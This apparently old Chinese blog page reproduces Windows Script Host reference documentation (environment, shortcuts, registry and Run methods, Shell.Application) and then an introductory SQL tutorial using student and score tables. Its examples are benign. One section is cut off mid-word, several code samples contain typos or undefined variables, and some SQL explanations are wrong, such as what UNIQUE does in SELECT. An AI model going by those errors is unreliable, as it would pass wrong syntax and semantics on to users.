对于 Windows 95,strType 参数仅支持 "Process"。

下列变量是由 Windows 操作系统提供的。脚本也可获取由其他应用程序设置的环境变量。

名称 说明
NUMBER_OF_PROCESSORS 计算机上运行的处理器数目。
PROCESSOR_ARCHITECTURE 用户工作站使用的处理器类型。
PROCESSOR_IDENTIFIER 用户工作站的处理器 ID。
PROCESSOR_LEVEL 用户工作站的处理器级。
PROCESSOR_REVISION 用户工作站的处理器版本。
OS 用户工作站所用的操作系统。
COMSPEC 用于运行“命令提示”窗口的命令(通常为 cmd.exe)。
HOMEDRIVE 本地主驱动器(通常为 C 驱动器)。
HOMEPATH 用户的默认路径(在 Windows NT 上通常为 \users\default)。
PATH 路径环境变量。
PATHEXT 可执行文件的扩展名(通常为 .com、 .exe、.bat 或 .cmd)。
PROMPT 命令提示符(通常为 $P$G)。
SYSTEMDRIVE 系统所在的本地驱动器(例如,c:\)。
SYSTEMROOT 系统目录(例如,c:\winnt)。和 WINDIR 相同。
WINDIR 系统目录(例如 c:\winnt)。和 SYSTEMROOT 相同。
TEMP 存储临时文件的目录(例如,c:\temp)。用户可更改。
TMP 存储临时文件的目录(例如,c:\temp)。用户可更改。

示例
' Retrieve the NUMBER_OF_PROCESSORS system environment variable
Set WshShell = Wscript.CreateObject("Wscript.Shell")

Set WshSysEnv = WshShell.Environment("SYSTEM")
Wscript.Echo WshSysEnv("NUMBER_OF_PROCESSORS")

请参阅
WshEnvironment 对象

WshEnvironment 对象
WshEnvironment 对象未直接给出,可用 WshShell.Environment 属性来访问。

ProgID N/A
文件名 WSHom.Ocx
CLSID
IID

下表描述与 WshEnvironment 对象关联的属性。

属性 说明
Item 获取或设置指定的环境变量值。
Count 枚举项的数目。
length 枚举项的数目 (JScript)。

下表描述与 WshEnvironment 对象关联的方法。

方法 说明
Remove 删除指定的环境变量。

WshShell.SpecialFolders
SpecialFolders 属性提供 WshSpecialFolders 对象以便访问 Windows 的 shell 文件夹,例如桌面文件夹、开始菜单文件夹和个人文档文件夹。

语法
WshShell.SpecialFolders = objWshSpecialFolders

示例
' This code fragment shows how to access the desktop folder
Set WshShell = Wscript.CreateObject("Wscript.Shell")
MsgBox "Your desktop is " & WshShell.SpecialFolders("Desktop")
请参阅
WshSpecialFolders 对象

WshSpecialFolders 对象
该对象未直接给出。要得到 WshSpecialFolders 对象,请使用 WshShell.SpecialFolders 属性。

ProgID N/A
文件名 WSHom.Ocx
CLSID
IID

下表描述与 WshSpecialFolders 对象关联的属性。

属性 描述
Item 指定文件夹的完整路径(默认)。
Count 枚举项的数目。
length 枚举项的数目 (JScript) 。

WshSpecialFolders.Item
Item 属性返回由 strFolderName 指定的文件夹的完整路径。它是默认属性。

语法
WshShell.SpecialFolders.Item("strFolderName") = strFolderPath
WshShell.SpecialFolders("strFolderName") = strFolderPath

注释
若请求的文件夹 (strFolderName) 不可用,则 WshShell.SpecialFolders("strFolderName") 返回 NULL。例如,Windows 95 没有 AllUsersDesktop 文件夹,如果 strFolderName = AllUsersDesktop,则返回 NULL。

Windows 95 和 Windows NT 4.0 操作系统提供下列指定文件夹:
AllUsersDesktop
AllUsersStartMenu

AllUsersPrograms

AllUsersStartup

Desktop

Favorites

Fonts

MyDocuments

NetHood

PrintHood

Programs

Recent

SendTo

StartMenu

Startup

Templates

示例
' This fragment returns the full path for the Windows Desktop folder
Set WshShell = Wscript.CreateObject("Wscript.Shell")
StrMyDesktop = WshShell.SpecialFolders("Desktop")

' List all special folders
For Each strFolder In WshShell.SpecialFolders
MsgBox strFolder
Next

请参阅
WshShell.SpecialFolders 属性

WshShell.CreateShortcut
CreateShortcut 方法创建 WshShortcut 对象并将其返回。如果快捷方式标题以 .url 结尾,就会创建 WshURLShortcut 对象。

语法
WshShell.CreateShortcut(strPathname) = objShortcut

示例
' This code fragment creates a shortcut
' to the currently executing script
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Set oShellLink = WshShell.CreateShortcut("Current Script.lnk")
oShellLink.TargetPath = Wscript.ScriptFullName
oShellLink.Save
Set oUrlLink = WshShell.CreateShortcut("Microsoft Web Site.URL")
oUrlLink.TargetPath = "http://www.microsoft.com"
oUrlLink.Save

请参阅
WshShortcut 对象、WshUrlShortcut 对象

WshShortcut 对象
该对象未直接给出。要获得 WshShortcut 对象,请使用 WshShell.CreateShortcut 方法。

ProgID N/A
文件名 WSHom.Ocx
CLSID F935DC28-1CF0-11d0-ADB9-00C04FD58A0B
IID F935DC27-1CF0-11d0-ADB9-00C04FD58A0B

下表说明和 WshShortcut 对象有关的属性。

属性 说明
Arguments 快捷方式对象的参数。
Description 快捷方式对象的说明。
Hotkey 快捷方式对象的热键。
IconLocation 快捷方式对象的图标位置。
TargetPath 快捷方式对象的目标路径。
WindowStyle 快捷方式对象的窗口样式。
WorkingDirectory 快捷方式对象的工作目录。

下表说明与 WshShortcut 对象有关的方法。

方法 说明
Save 将快捷方式存储到指定的文件系统中。

WshShortcut.Arguments
Arguments 属性提供快捷方式对象的参数。

语法
WshShortcut.Arguments = strArguments

WshShortcut.Description
Description 属性提供快捷方式对象的说明。

语法
WshShortcut.Description = strDescription

WshShortcut.Hotkey
HotKey 属性提供快捷方式对象的热键。热键是启动或切换程序的键盘快捷方式。

语法
WshShortcut.HotKey = strHotKey

注释
strHotKey 的BNF语法如下:

Hotkey ::= modifier* keyname
modifier ::= "ALT+" | "CTRL+" | "SHIFT+" | "EXT+"
keyname ::= "A" .. "Z" |
"0".. "9" |
"Back" | "Tab" | "Clear" | "Return" |
"Escape" | "Space" | "Prior" | ...

所有键的名称都可以在 WINUSER.H 中找到。热键不区分大小写。

热键只能激活位于 Windows 桌面或 Windows“开始”菜单的快捷方式。

Windows 资源管理器不接受 ESC、ENTER、TAB、SPACE、PRINT SCREEN 或 BACKSPACE,即使 WshShortcut.Hotkey 遵循 Win32 API 支持它们。因此,建议在快捷方式中不要用这些键。

示例
Set WshShell = Wscript.CreateObject("Wscript.WshShell")
strDesktop = WshShell.SpecialFolders("Desktop")
Set oMyShortcut = WshShell.CreateShortcut(strDesktop & "\a_key.lnk")
OMyShortcut.TargetPath = "%windir%\notepad.exe"
oMyShortCut.Hotkey = "ALT+CTRL+F"
oMyShortCut.Save
Wscript.Echo oMyShortCut.HotKey = "Alt+Ctrl+F"

请参阅
WshSpecialFolders 对象

WshShortcut.IconLocation
IconLocation 属性提供快捷方式对象的图标位置。图标位置的格式应为 "Path,index"。

语法
WshShortcut.IconLocation = strIconLocation

WshShortcut.TargetPath
TargetPath 属性提供快捷方式对象的目标路径。

语法
WshShort

WshUrlShortcut 对象
该对象未直接给出。要获取 WshUrlShortcut 对象,可使用 WshShell.CreateShortcut 方法。

ProgID N/A
文件名 WSHom.Ocx
CLSID
IID

下表说明了和 WshUrlShortcut 对象有关的属性。

属性 说明
FullName URL 快捷方式对象的完整路径。
TargetPath URL 快捷方式对象的目标路径。

下表说明了和 WshUrlShortcut 对象有关的方法。

方法 说明
Save 将快捷方式保存到指定的文件系统中。

WshUrlShortcut.FullName
FullName 属性提供快捷方式对象的完整路径。

语法
WshUrlShortcut.FullName = strFullName

WshUrlShortcut.TargetPath
TargetPath 属性提供快捷方式对象的目标路径。

语法
WshUrlShortcut.TargetPath = strTargetPath

WshUrlShortcut.Save
Save 方法保存一个快捷方式,该快捷方式指向 FullName 属性指定的位置。

语法
WshUrlShortcut.Save

WshShell.ExpandEnvironmentStrings
ExpandEnvironmentStrings 方法在 strString 中扩展 PROCESS 环境变量并返回结果字符串。变量被 '%' 字符括起。

环境变量不区分大小写。

语法
WshShell.ExpandEnvironmentStrings(strString) = strExpandedString

示例
MsgBox "Prompt is " & WshShell.ExpandEnviromentStrings("%PROMPT%")

 

WshShell.Popup
Popup 方法显示一个弹出式消息框窗口,消息框中包含的消息由 strText 指定。该消息框的窗口标题由 strTitle 指定。若 strTitle 省略,则窗口标题为 Windows Scripting Host。

语法
WshShell.Popup(strText, [natSecondsToWait], [strTitle], [natType]) = intButton

注释
若提供 natSecondsToWait 且其值大于零,则消息框在 natSecondsToWait 秒后关闭。

natType 的含义与其在 Win32? MessageBox 函数中相同。下表显示 natType 中的值及含义。下表中的值可以组合。

按钮类型
值 说明
0 显示“确定”按钮
1 显示“确定”和“取消”按钮
2 显示“终止”、“重试”和“忽略”按钮
3 显示“是”、“否”和“取消”按钮
4 显示“是”和“否”按钮
5 显示“重试”和“取消”按钮

图标类型
值 说明
16 显示停止标记图标
32 显示问号图标
48 显示感叹号图标
64 显示信息标记图标

以上两个表并不涵盖 natType 的所有值。完整的列表请参阅 Win32 文档。

返回值 intButton 指示用户所单击的按扭编号。若用户在 natSecondsToWait 秒之前不单击按扭,则 intButton 设置为 -1 。

值 说明
1 “确定”按扭
2 “取消”按扭
3 “终止”按扭
4 “重试”按扭
5 “忽略”按扭
6 “是”按扭
7 “否”按扭

示例
Set WshShell = Wscript.CreateObject("Wscript.Shell")
WshShell.Popup "Where do you want to go today?"

请参阅
Wscript.Echo 方法

Wscript.Echo
Echo 方法在窗口(Wscript.exe 中)或“命令提示符”窗口(Cscript.exe 中)显示参数。

参数用空格分隔。在 Cscript.exe 中,该方法在显示最后一个参数之后输出一对回车/换行(CR LF)。

语法
Wscript.Echo [anyArg...]

示例
Wscript.Echo
Wscript.Echo 1, 2, 3
Wscript.Echo "Windows Scripting Host is cool."

WshShell.RegDelete
RegDelete 从注册表中删除名为 strName 的键或值。

语法
WshShell.RegDelete strName

参数
strName
如果 strName 以反斜杠 (\) 结束,则该方法删除键而不是值。
strName 参数必须以下列之一的根键名开始:

短根键名 长根键名
HKCU HKEY_CURRENT_USER
HKLM HKEY_LOCAL_MACHINE
HKCR HKEY_CLASSES_ROOT
HKEY_USERS
HKEY_CURRENT_CONFIG

示例
Set WshShell = Wscript.CreateObject("Wscript.Shell")

WshShell.RegDelete "HKCU\ScriptEngine\Value" ' Delete value "Value"
WshShell.RegDelete "HKCU\ScriptEngine\Key\" ' Delete key "Key"

请参阅
WshShell.RegRead 方法、WshShell.RegWrite 方法

WshShell.RegRead
RegRead 方法返回名为 strName 的注册表键或值。

语法
WshShell.RegRead(strName) = strValue

参数
strName
如果 strName 以反斜杠 (\) 结束,则该方法返回键,而不是值。
strName 参数必须以下列根键名开始。

Short Long
HKCU HKEY_CURRENT_USER
HKLM HKEY_LOCAL_MACHINE
HKCR HKEY_CLASSES_ROOT
HKEY_USERS
HKEY_CURRENT_CONFIG

注释
RegRead 方法仅支持 REG_SZ、REG_EXPAND_SZ、REG_DWORD、REG_BINARY 和 REG_MULTI_SZ 数据类型。若注册表有其他数据类型,RegRead 返回 DISP_E_TYPEMISMATCH。

示例
Set WshShell = Wscript.CreateObject("Wscript.Shell")

WshShell.RegRead("HKCU\ScriptEngine\Val") ' Read from value "Val"
WshShell.RegRead("HKCU\ScriptEngine\Key\") ' Read from key "Key"

请参阅
WshShell.RegDelete 方法、WshShell.RegWrite 方法

WshShell.RegWrite
RegWrite 方法设置名为 strName 的注册表键或值。

语法
WshShell.RegWrite strName, anyValue, [strType]

参数
strName
若 strName 以一个反斜杠 (\) 结束,则该方法设置键,而不是值。
strName 参数必须以下列根键名开头。

Short Long
HKCU HKEY_CURRENT_USER
HKLM HKEY_LOCAL_MACHINE
HKCR HKEY_CLASSES_ROOT
HKEY_USERS
HKEY_CURRENT_CONFIG

 

anyValue
当 strType 为 REG_SZ 或 REG_EXPAND_SZ 时,RegWrite 方法自动将 anyValue 转换为字符串。若 strType 为 REG_DWORD,则 anyValue 被转换为整数。若 strType 为 REG_BINARY,则 anyValue 必须是一个整数。

strType
RegWrite 方法支持 strType 为 REG_SZ、REG_EXPAND_SZ、REG_DWORD 和 REG_BINARY。若其他的数据类型被作为 strType 传递,RegWrite 返回 E_INVALIDARG。
示例
Set WshShell = Wscript.CreateObject("Wscript.Shell")

WshShell.RegWrite "HKCU\ScriptEngine\Value", "Some string value"
WshShell.RegWrite "HKCU\ScriptEngine\Key\", 1 "REG_DWORD"

请参阅
WshShell.RegDelete 方法、WshShell.RegWrite方法

WshShell.Run
Run 方法创建一个新的进程,该进程以 intWindowStyle 窗口样式执行 strCommand。

语法
WshShell.Run (strCommand, [intWindowStyle], [blnWaitOnReturn])

参数
strCommand
在 strCommand 参数内部的环境变量被自动扩展。

intWindowStyle
这是为新进程在 STARTUPINFO 结构内设置的 wShowWindow 元素的值。其意义与 ShowWindow 中的 nCmdShow 参数相同,可取以下值之一。名称 值 含义
SW_HIDE
0 隐藏窗口并激活另一窗口。
SW_MINIMIZE
6 最小化指定窗口并激活按 Z 序排序的下一个顶层窗口。
SW_RESTORE
9 激活并显示窗口。若窗口是最小化或最大化,则恢复到原来的大小和位置。在还原应用程序的最小化窗口时,应指定该标志。
SW_SHOW
5 以当前大小和位置激活并显示窗口。
SW_SHOWMAXIMIZED
3 激活窗口并以最大化显示该窗口。
SW_SHOWMINIMIZED
2 激活窗口并以最小化显示该窗口。
SW_SHOWMINNOACTIVE
7 最小化显示窗口。活动窗口保持活动。
SW_SHOWNA
8 以当前状态显示窗口。活动窗口保持活动。
SW_SHOWNOACTIVATE
4 按窗口最近的大小和位置显示。活动窗口保持活动。
SW_SHOWNORMAL
1 激活并显示一个窗口。若窗口是最小化或最大化,则恢复到其原来的大小和位置。

 

blnWaitOnReturn
如果未指定 blnWaitOnReturn 或其值为 FALSE,则该方法立即返回到脚本继续执行而不等待进程结束。
若 blnWaitOnReturn 设为 TRUE,则 Run 方法返回由应用程序返回的任何错误代码。如果未指定 blnWaitOnReturn 或其值为 FALSE,则 Run 返回错误代码 0(zero)。

示例
' This fragment launches Notepad with the current executed script
Set WshShell = Wscript.CreateObject("Wscript.Shell")
WshShell.Run ("notepad " & Wscript.ScriptFullName)
WshShell.Run ("%windir%\notepad" & Wscript.ScriptFullName)

' This fragment returns the error code from the executed application
Return = WshShell.Run("notepad " & Wscript.ScriptFullName, 1, TRUE)

3. 关于Shell.Application的使用
3.1、创建 Shell 对象
var Shell = new ActiveXObject("Shell.Application");

3.2、使用 Shell 属性及方法

Shell.Application
Shell.Parent

Shell.CascadeWindows()
Shell.TileHorizontally()
Shell.TileVertically()
Shell.ControlPanelItem(sDir) /* 比如:sysdm.cpl */
Shell.EjectPC()
Shell.Explore(vDir)
Shell.Open(vDir)
Shell.FileRun()
Shell.FindComputer()
Shell.FindFiles()
Shell.Help()
Shell.MinimizeAll()
Shell.UndoMinimizeALL()
Shell.RefreshMenu()
Shell.SetTime()
Shell.TrayProperties()
Shell.ShutdownWindows()
Shell.Suspend()
oWindows = Shell.Windows() /* 返回ShellWindows对象 */
fFolder = Shell.NameSpace(vDir) /* 返回所打开的vDir的Folder对象 */
oFolder = Shell.BrowseForFolder(Hwnd, sTitle, iOptions [, vRootFolder]) /* 选择文件夹对话框 */
/*示例:
function BrowseFolder()
{
var Message = "清选择文件夹";

var Shell = new ActiveXObject( "Shell.Application" );
var Folder = Shell.BrowseForFolder(0,Message,0x0040,0x11);
if(Folder != null)
{
Folder = Folder.items(); // 返回 FolderItems 对象
Folder = Folder.item(); // 返回 Folderitem 对象
Folder = Folder.Path; // 返回路径
if(Folder.charAt(varFolder.length-1) != "\\"){
Folder = varFolder + "\\";
}
return Folder;
}
}
*/

/*示例:
var Folder = Shell.NameSpace("C:\\"); // 返回 Folder对象
*/

posted @ 2005-07-14 17:07 一天一点爱恋 阅读(469) | 评论 (0)编辑 收藏
 
     摘要: 本部分内容           n  SQL基础           n  中级SQL          ...  阅读全文
posted @ 2005-07-14 16:53 一天一点爱恋 阅读(857) | 评论 (0)编辑 收藏
 
SQL是Structured Quevy Language(结构化查询语言)的缩写。SQL是专为数据库而建立的操作命令集,是一种功能齐全的数据库语言。在使用它时,只需要发出“做什么”的命令,“怎么做”是不用使用者考虑的。SQL功能强大、简单易学、使用方便,已经成为了数据库操作的基础,并且现在几乎所有的数据库均支持SQL。
##1 二、SQL数据库数据体系结构
SQL数据库的数据体系结构基本上是三级结构,但使用术语与传统关系模型术语不同。在SQL中,关系模式(模式)称为“基本表”(base table);存储模式(内模式)称为“存储文件”(stored file);子模式(外模式)称为“视图”(view);元组称为“行”(row);属性称为“列”(column)。名称对称如^00100009a^:
##1 三、SQL语言的组成
在正式学习SQL语言之前,首先让我们对SQL语言有一个基本认识,介绍一下SQL语言的组成:
1.一个SQL数据库是表(Table)的集合,它由一个或多个SQL模式定义。
2.一个SQL表由行集构成,一行是列的序列(集合),每列与行对应一个数据项。
3.一个表或者是一个基本表或者是一个视图。基本表是实际存储在数据库的表,而视图是由若干基本表或其他视图构成的表的定义。
4.一个基本表可以跨一个或多个存储文件,一个存储文件也可存放一个或多个基本表。每个存储文件与外部存储上一个物理文件对应。
5.用户可以用SQL语句对视图和基本表进行查询等操作。在用户角度来看,视图和基本表是一样的,没有区别,都是关系(表格)。
6.SQL用户可以是应用程序,也可以是终端用户。SQL语句可嵌入在宿主语言的程序中使用,宿主语言有FORTRAN,COBOL,PASCAL,PL/I,C和Ada语言等。SQL用户也能作为独立的用户接口,供交互环境下的终端用户使用。
##1 四、对数据库进行操作
SQL包括了所有对数据库的操作,主要是由4个部分组成:
1.数据定义:这一部分又称为“SQL DDL”,定义数据库的逻辑结构,包括定义数据库、基本表、视图和索引4部分。
2.数据操纵:这一部分又称为“SQL DML”,其中包括数据查询和数据更新两大类操作,其中数据更新又包括插入、删除和更新三种操作。
3.数据控制:对用户访问数据的控制有基本表和视图的授权、完整性规则的描述,事务控制语句等。
4.嵌入式SQL语言的使用规定:规定SQL语句在宿主语言的程序中使用的规则。
下面我们将分别介绍:
##2 (一)数据定义
SQL数据定义功能包括定义数据库、基本表、索引和视图。
首先,让我们了解一下SQL所提供的基本数据类型:(如^00100009b^)
1.数据库的建立与删除
(1)建立数据库:数据库是一个包括了多个基本表的数据集,其语句格式为:
CREATE DATABASE <数据库名> [其它参数]
其中,<数据库名>在系统中必须是唯一的,不能重复,不然将导致数据存取失误。[其它参数]因具体数据库实现系统不同而异。
例:要建立项目管理数据库(xmmanage),其语句应为:
CREATE DATABASE xmmanage
(2) 数据库的删除:将数据库及其全部内容从系统中删除。
其语句格式为:DROP DATABASE <数据库名>
例:删除项目管理数据库(xmmanage),其语句应为:
DROP DATABASE xmmanage
2.基本表的定义及变更
本身独立存在的表称为基本表,在SQL语言中一个关系唯一对应一个基本表。基本表的定义指建立基本关系模式,而变更则是指对数据库中已存在的基本表进行删除与修改。
(1)基本表的定义:基本表是非导出关系,其定义涉及表名、列名及数据类型等,其语句格式为:
CREATE TABLE[<数据库名>.]<表名>
(<列名> 数据类型 [缺省值] [NOT NULL / NULL]
[,<列名> 数据类型 [缺省值] [NOT NULL / NULL]]......
[,UNIQUE (列名[,列名]......)]
[,PRIMARY KEY(列名)]
[,FOREIGN KEY(列名[,列名]......)REFERENCE <表名>(列名[,列名]......)]
[,CHECK(条件)] [其它参数])
其中,〈数据库名〉.]指出将新建立的表存放于该数据库中;
新建的表由两部分组成:其一为表和一组列名,其二是实际存放的数据(即可在定义表的同时,直接存放数据到表中);
列名为用户自定义的易于理解的名称,列名中不能使用空格;
数据类型为上面所介绍的几种标准数据类型;
[NOT NULL/NULL]指出该列是否允许存放空值,SQL语言支持空值的概念,所谓空值是“不知道”或“无意义”的值,值得注意的是数据“0”和空格都不是空值,系统一般默认允许为空值,所以当不允许为空值时,必须明确使用NOT NULL;
[,UNIQUE]将列按照其规定的顺序进行排列,如不指定排列顺序,则按列的定义顺序排列;
[PRIMARY KEY]用于指定表的主键(即关系中的主属性),实体完整性约束条件规定:主键必须是唯一的,非空的;
[,FOREIGN KEY (列名[,列名]......) REFERENCE<表名>(列名[,列名]......)]是用于指定外键参照完整性约束条件,FOREIGN KEY指定相关列为外键,其参照对象为另外一个表的指定列,即使用REFERENCE引入的外表中的列,当不指定外表列名时,系统将默认其列名与参照键的列名相同,要注意的是:使用外键时必须使用参照,另外数据的外键参照完整性约束条件规定:外键的值要么与相对应的主键相同,要么为空值(具体由实现系统不同而异)
[,CHECK]用于使用指定条件对存入表中的数据进行检查,以确定其合法性,提高数据的安全性。
例:要建立一个学生情况表(student)
CREATE TABLE student //创建基本表student
(st_class CHAR(8),// 定义列st_class班级,数据类型为8位定长字符串
st_no CHAR(10) NOT NULL,//定义列st_no学号,类型为10位定长字符串,非空
st_name CHAR(8) NOT NULL,//定义列st_name姓名,类型为8位定长字符串,非空
st_sex CHAR(2),//定义列st_sex性别,类型为2位定长字符串
st_age SMALLINT,//定义列st_age年龄,类型为短整型
PRIMARY KEY (st_no))//定义st_no学号为主键。
例:要建立课程设置表(subject)
CREATE TABLE subject//创建基本表subject
(su_no CHAR(4) NOT NULL,// 定义列su_no课号,类型为4位定长字符串,非空
su_subject CHAR(20) NOT NULL,// 定义列su_subject课程名,类型为20位定长字符串,非空
su_credit INTEGER,// 定义列su_credit学分,类型为长整数
su_period INTEGER,//定义列su_period学时,类型为长整数
su_preno CHAR(4),//定义列su_preno先修课号,类型为4位定长字符串
PRIMARY KEY(su_no))//定义su_no课号为主键。
例:要建立学生选课表(score)
CREATE TABLE score //创建基本表score
(st_no CHAR(10),//定义列st_no学号,类型为10位定长字符串
su_no CHAR(4),//定义列su_no课号,类型为4位定长字符串
sc_score INTEGER NULL,//定义列sc_score,类型为长整形,可以为空值
FOREIGN KEY (st_no) REFERENCE student,//从表student中引入参照外键st_no,以确保本表与表student的关联与同步
FOREIGN KEY (suno) REFERENCE subject)//从表subject中引入参照外键su_no,以确保本表与表subject的关联与同步
(2)基本表的删除:用以从数据库中删除一个基本表及其全部内容,其语句格式为:
DROP TABLE[<数据库名>.]表名
例如:将上面建立的表都删除
DROP TABLE student,subject,score
(3)基本表的修改:在基本表建立并使用一段时间后,可能需要根据实际要求对基本表的结构进行修改,即增加新的属性或删除属性。
增加属性的语句格式为:
ALTER TABLE [<数据库名>.]表名 ADD
(<列名> 数据类型 [缺省值] [NOT NULL / NULL]
[,<列名> 数据类型[缺省值][NOT NULL / NULL]]......
[,UNIQUE (列名[,列名]......)]
[,PRIMARY KEY(列名)]
[,FOREIGN KEY(列名[,列名]......) REFERENCE <表名>(列名[,列名]......)]
[,CHECK(条件)][其它参数])
例如:在基本表student中加入列stborn出生日期,数据类型为DATE,且不能为空值
ALTER TABLE student ADD (stborn DATE NOT NULL)
删除属性的语句格式为:
ALTER TABLE [<数据库名>.]表名 DROP
( <列名> 数据类型 [缺省值][NOT NULL / NULL]
[,<列名> 数据类型 [缺省值][NOT NULL / NULL]]......)
例如:将基本表student中的列st_age删除
ALTER TABLE student DROP (st_age)
3.视图定义与删除
在SQL中,视图是外模式一级数据结构的基本单位。它是从一个或几个基本表中导出的表,是从现有基本表中抽取若干子集组成用户的“专用表”。这种构造方式必须使用SQL中的SELECT语句来实现。在定义一个视图时,只是把其定义存放在系统的数据中,而并不直接存储视图对应的数据,直到用户使用视图时才去求得对应的数据。
(1)视图的定义:定义视图可以使用CREATE VIEW语句实现,其语句格式为:
CREATE VIEW 视图名 AS SELECT语句
从一个基本表中导出视图:
例:从基本表student中导出只包括女学生情况的视图
CREATE VIEW WOMANVIEW AS //创建一个视图WOMANVIEW
SELECT st_class,st_no,st_name,st_age //选择列st_class,st_no,st_name,st_age显示
FROM student //从基本表student引入
WHERE st_sex=‘女’//引入条件为性别为“女”,注意字符变量都使用单引号引用
从多个基本表中导出视图:
例如:从基本表student和score中导出只包括女学生且分数在60分以上的视图
CREATEVIEW WOMAN_SCORE AS //定义视图WOMANSCORE
SELECT student.st_class,student.st_no,student.st_name,student.st_age,score.sc_score //有选择性显示相关列
FROM student.score //从基本表student和score中引入
WHERE student.st_sex=‘女’AND score.sc_score>=60 AND student.st_no=score.st_no //选择条件:性别为“女” 且分数在60分以上。并使用st_no将两表联系起来。
以后如果进行这一视图的应用,则只需使用语句
SELECT * FROM WOMAN_SCORE //其中“*”为通配符,代表所有元素
(2)视图的删除:用于删除已不再使用的视图,其语句格式如下:
DROP VIEW 视图名
例:将上面建立的WOMAN_SCORE视图删除
DROP VIEW WOMAN_SCORE
4.索引的定义与删除
索引属于物理存储概念,而不是逻辑的概念。在SQL中抛弃了索引概念,直接使用主键概念。值得一提的是,有些关系DBMS同时包括索引机制和主键机制,这里我们推荐使用主键机制,因为它对系统资源占用较低且效率较高。
(1)索引的定义:索引是建立在基本表之上的,其语句格式为:
CREATE [UNIQUE] INDEX 索引名 ON
[<数据库名>.]表名(列名 [ASC/DESC][,列名 [ASC/DESC]]......)
这里,保留字UNIQUE表示基本表中的索引值不允许重复,若缺省则表示索引值在表中允许重复;DESC表示按索引键降序排列,若缺省或ASC表示升序排列。
例:对基本表student中的st_no和st_age建立索引,分别为升序与降序,且索引值不允许重复
CREATE UNIQUE INDEX STINDEX ON//创建索引STINDEX
student(st_no ASC,st_age DESC)//对student中的st_no和st_age建立索引
(2)索引的删除:
DROP INDEX 索引名
例:删除上面建立的索引STINDEX
DROP INDEX STINDEX
##2 (二)数据查询
SQL是一种查询功能很强的语言,只要是数据库存在的数据,总能通过适当的方法将它从数据库中查找出来。SQL中的查询语句只有一个:SELECT,它可与其它语句配合完成所有的查询功能。SELECT语句的完整语法,可以有6个子句。完整的语法如下:
SELECT 目标表的列名或列表达式集合
FROM 基本表或(和)视图集合
[WHERE条件表达式]
[GROUP BY列名集合
[HAVING组条件表达式]]
[ORDER BY列名[集合]…]
整个语句的语义如下:从FROM子句中列出的表中,选择满足WHERE子句中给出的条件表达式的元组,然后按GROUPBY子句(分组子句)中指定列的值分组,再提取满足HAVING子句中组条件表达式的那些组,按SELECT子句给出的列名或列表达式求值输出。ORDER子句(排序子句)是对输出的目标表进行重新排序,并可附加说明ASC(升序)或DESC(降序)排列。
在WHERE子句中的条件表达式F中可出现下列操作符和运算函数:
算术比较运算符:<,<=,>,>=,=,<>。
逻辑运算符:AND,OR,NOT。
集合运算符:UNION(并),INTERSECT(交),EXCEPT(差)。
集合成员资格运算符:IN,NOT IN
谓词:EXISTS(存在量词),ALL,SOME,UNIQUE。
聚合函数:AVG(平均值),MIN(最小值),MAX(最大值),SUM(和),COUNT(计数)。
F中运算对象还可以是另一个SELECT语句,即SELECT语句可以嵌套。
上面只是列出了WHERE子句中可出现的几种主要操作,由于WHERE子句中的条件表达式可以很复杂,因此SELECT句型能表达的语义远比其数学原形要复杂得多。
下面,我们以上面所建立的三个基本表为例,演示一下SELECT的应用:
1.无条件查询
例:找出所有学生的的选课情况
SELECT st_no,su_no
FROM score
例:找出所有学生的情况
SELECT*
FROM student
“*”为通配符,表示查找FROM中所指出关系的所有属性的值。
2.条件查询
条件查询即带有WHERE子句的查询,所要查询的对象必须满足WHERE子句给出的条件。
例:找出任何一门课成绩在70以上的学生情况、课号及分数
SELECT UNIQUE student.st_class,student.st_no,student.st_name,student.st_sex,student.st_age,score.su_no,score.score
FROM student,score
WHERE score.score>=70 AND score.stno=student.st_no
这里使用UNIQUE是不从查询结果集中去掉重复行,如果使用DISTINCT则会去掉重复行。另外逻辑运算符的优先顺序为NOT→AND→OR。
例:找出课程号为c02的,考试成绩不及格的学生
SELECT st_no
FROM score
WHERE su_no=‘c02’AND score<60
3.排序查询
排序查询是指将查询结果按指定属性的升序(ASC)或降序(DESC)排列,由ORDER BY子句指明。
例:查找不及格的课程,并将结果按课程号从大到小排列
SELECT UNIQUE su_no
FROM score
WHERE score<60
ORDER BY su_no DESC
4.嵌套查询
嵌套查询是指WHERE子句中又包含SELECT子句,它用于较复杂的跨多个基本表查询的情况。
例:查找课程编号为c03且课程成绩在80分以上的学生的学号、姓名
SELECT st_no,st_name
FROM student
WHERE stno IN (SELECT st_no
FROM score
WHERE su_no=‘c03’ AND score>80 )
这里需要明确的是:当查询涉及多个基本表时用嵌套查询逐次求解层次分明,具有结构程序设计特点。在嵌套查询中,IN是常用到的谓词。若用户能确切知道内层查询返回的是单值,那么也可用算术比较运算符表示用户的要求。
5.计算查询
计算查询是指通过系统提供的特定函数(聚合函数)在语句中的直接使用而获得某些只有经过计算才能得到的结果。常用的函数有:
COUNT(*) 计算元组的个数
COUNT(列名) 对某一列中的值计算个数
SUM(列名) 求某一列值的总和(此列值是数值型)
AVG(列名) 求某一列值的平均值(此列值是数值型)
MAX(列名) 求某一列值中的最大值
MIN(列名) 求某一列值中的最小值
例:求男学生的总人数和平均年龄
SELECT COUNT(*),AVG(st_age)
FROM student
WHERE st_sex=‘男’
例:统计选修了课程的学生的人数
SELECT COUNT(DISTINCT st_no)
FROM score
注意:这里一定要加入DISTINCT,因为有的学生可能选修了多门课程,但统计时只能按1人统计,所以要使用DISTINCT进行过滤。
##2 (三) 数据更新
数据更新包括数据插入、删除和修改操作。它们分别由INSERT语句,DELETE语句及UPDATE语句完成。这些操作都可在任何基本表上进行,但在视图上有所限制。其中,当视图是由单个基本表导出时,可进行插入和修改操作,但不能进行删除操作;当视图是从多个基本表中导出时,上述三种操作都不能进行。
1.数据插入
将数据插入SQL的基本表有两种方式:一种是单元组的插入,另一种是多元组的插入。
单元组的插入:向基本表score中插入一个成绩元组(100002,c02,95),可使用以下语句:
INSERT INTO score(st_no,su_no,score) VALUES(‘100002’,‘c02’,95)
由此,可以给出单元组的插入语句格式:
INSERT INTO表名(列名1[,列名2]…) VALUES(列值1[,列值2]…)
其中,列名序列为要插入值的列名集合,列值序列为要插入的对应值。若插入的是一个表的全部列值,则列名可以省略不写如上面的(st_no,su_no,score)可以省去;若插入的是表的部分列值,则必须列出相应列名,此时,该关系中未列出的列名取空值。
多元组的插入:这是一种把SELECT语句查询结果插入到某个已知的基本表中的方法。
例如:需要在表score中求出每个学生的平均成绩,并保留在某个表中。此时可以先创建一个新的基本表stu_avggrade,再用INSERT语句把表score中求得的每一个学生的平均成绩(用SELECT求得)插入至stu_avggrade中。
